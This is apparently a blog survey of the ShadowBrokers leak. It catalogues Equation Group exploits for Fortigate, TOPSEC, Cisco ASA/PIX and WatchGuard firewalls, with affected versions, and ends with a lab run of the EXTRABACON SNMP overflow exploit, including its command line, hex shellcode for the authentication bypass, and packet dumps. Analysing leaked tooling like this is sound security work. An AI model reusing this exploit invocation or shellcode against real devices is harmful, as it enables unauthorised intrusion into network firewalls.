Summing up the ShadowBrokers Leak

EquationGroup VS ShadowBrokers's Leak

EGREGIOUSBLUNDER. It is a remote code execution exploit for Fortigate firewalls. It leverages an HTTP cookie overflow and is different from CVE-2006-6493 as noted by Avast. Models affected include 60, 60M, 80C, 200A, 300A, 400A, 500A, 620B, 800, 5000, 1000A, 3600, and 3600A.

ELIGIBLEBACHELOR This is an exploit with an unclear attack vector for TOPSEC firewalls running TOS operating system versions 3.2.100.010, 3.3.001.050, 3.3.002.021 and 3.3.002.030.The attack vector is unknown but it has an XML-like payload that starts with .

ELIGIBLEBOMBSHELL It is a remote code execution exploit for TOPSEC firewalls. It exploits an HTTP cookie command injection vulnerability and uses ETag examination for version detection. Versions affected include 3.2.100.010.1_pbc_17_iv_3 to 3.3.005.066.1. 

WOBBLYLLAMAA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.3.002.030.8_003.

FLOCKFORWARDA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.3.005.066.1.

HIDDENTEMPLEA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version tos_3.2.8840.1.

CONTAINMENTGRIDA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version tos_3.3.005.066.1.

GOTHAMKNIGHTA payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.2.100.010.8_pbc_27. Has no BLATSTING support.

ELIGIBLECANDIDATEA remote code execution exploit for TOPSEC firewalls that exploits a HTTP cookie command injection vulnerability, affecting versions 3.3.005.057.1 to 3.3.010.024.1.

ELIGIBLECONTESTANTA remote code execution exploit for TOPSEC firewalls that exploits a HTTP POST paramter injection vulnerability, affecting versions 3.3.005.057.1 to 3.3.010.024.1. This exploit can be tried after ELIGIBLECANDIDATE.

EPICBANANAA privilege escalation exploit against Cisco Adaptive Security Appliance (ASA) and Cisco Private Internet eXchange (PIX) devices. Exploitation takes advantage of default Cisco credentials (password: cisco). Affects ASA versions 711, 712, 721, 722, 723, 724, 80432, 804, 805, 822, 823, 824, 825, 831, 832 and PIX versions 711, 712, 721, 722, 723, 724, 804.

ESCALATEPLOWMANA privilege escalation exploit against WatchGuard firewalls of unknown versions that injects code via the ifconfig command.

EXTRABACONA remote code execution exploit against Cisco Adaptive Security Appliance (ASA) devices affecting ASA versions 802, 803, 804, 805, 821, 822, 823, 824, 825, 831, 832, 841, 842, 843, 844. It exploits an overflow vulnerability using the Simple Network Management Protocol (SNMP) and relies on knowing the target's uptime and software version.

BOOKISHMUTEAn exploit against an unknown firewall using Red Hat 6.0.

FALSEMORELAllows for the deduction of the "enable" password from data freely offered by an unspecified firewall (likely Cisco) and obtains privileged level access using only the hash of the "enable" password. Requires telnet to be installed on the firewall's inside interface.

Cisco exploits by vulnerabilities:

Cisco Admits Unknown Vulnerabilities

JETPLOW evidence on leaked USA Secret Documents

Following a list of implemented tools found along the leaked dump.

BILLOCEANRetrieves the serial number of a firewall, to be recorded in operation notes. Used in conjunction with EGREGIOUSBLUNDER for Fortigate firewalls.

FOSHOA Python library for creating HTTP exploits.

RUNNING EXAMPLE:

 mr@mrtestbox:~$ ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable  
 WARNING: No route found for IPv6 destination :: (no default route?)  
 Logging to /home/marcoramilli/concernedparent  
 [+] Executing: ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable  
 [+] running from /home/marcoramilli  
 Data stored in self.vinfo: ASA803  
 [+] generating exploit for exec mode pass-enable  
 [+] using shellcode in ./versions  
 [+] importing version-specific shellcode shellcode_asa803  
 [+] building payload for mode pass-enable  
 appended PMCHECK_ENABLE payload eb14bf7082090931c9b104fcf3a4e92f0000005e  
 ebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80  
 appended AAAADMINAUTH_ENABLE payload eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8ffffff5  
 589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80  
 [+] random SNMP request-id 425297185  
 [+] fixing offset to payload 49  
 overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165.165.165.165.131.236.  
 4.137.4.36.137.229.131.197.88.4  
 *** output omitted ****  
 44.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144  
 payload (133): eb14bf7082090931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531  
 f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8fff  
 fff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80c3  
 EXBA msg (371): 3082016f0201010405636973636fa58201610204195985210201000201013082015130819106072b0601020101010  
 *** output omitted ****  
 0811081108110811081108110811081108110810d7b810309810b7c2414810b07817f816081100500  
 [+] Connecting to 192.168.1.66:161  
 [+] packet 1 of 1  
 [+] 0000 30 82 01 6F 02 01 01 04 05 63 69 73 63 6F A5 82 0..o.....cisco..  
 [+] 0010 01 61 02 04 19 59 85 21 02 01 00 02 01 01 30 82 .a...Y.!......0.  
 [+] 0020 01 51 30 81 91 06 07 2B 06 01 02 01 01 01 04 81 .Q0....+........  
 [+] 0030 85 EB 14 BF 70 82 09 09 31 C9 B1 04 FC F3 A4 E9 ....p...1.......  
 [+] 0040 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 31 C0 89 /...^.......U1..  
 [+] 0050 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 25 AC ..........1...%.  
 [+] 0060 AC 31 FB B9 A5 B5 A5 A5 31 F9 BA A0 A5 A5 A5 31 .1......1......1  
 [+] 0070 FA CD 80 EB 14 BF B0 60 06 08 31 C9 B1 04 FC F3 .......`..1.....  
 [+] 0080 A4 E9 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 89 ../...^.......U.  
 ...  
 ###[ SNMP ]###  
 version = v2c  
 community = 'cisco'  
 PDU   
 |###[ SNMPbulk ]###  
 | id =   
 | non_repeaters= 0  
 | max_repetitions= 1  
 | varbindlist  
 | |###[ SNMPvarbind ]###  
 | | oid =   
 | | value = <ASN1_STRING['xebx14xbfpx82tt1xc9xb1x04xfcxf3xa4xe9/x00  
 x00x00^xebxecxe8xf8xffxffxffU1xc0x89xbfxa5xa5xa5xa5xb8xd8xa5xa5  
 xa51xf8xbbxa5%xacxac1xfbxb9xa5xb5xa5xa51xf9xbax....  
  *** output omitted ****  
 xa5xa51xf9xbaxa0xa5xa5xa51xfaxcdx80xc3']>  
 | |###[ SNMPvarbind ]###  
 | | oid = <ASN1_OID['.1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165  
 .165.165.165.131.236.4.137.4.36.137.229  
  *** output omitted ****  
 44.144.144.144.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144']>  
 | | value =   
 ****************************************  
 [-] timeout waiting for response - performing health check  
 [-] no response from health check - target may have crashed  
 [-] health check failed  

Sources:

Most of the sources I've been using during that survey: Musalbas, Packetstom, ExploitDB, Cisco, Schneier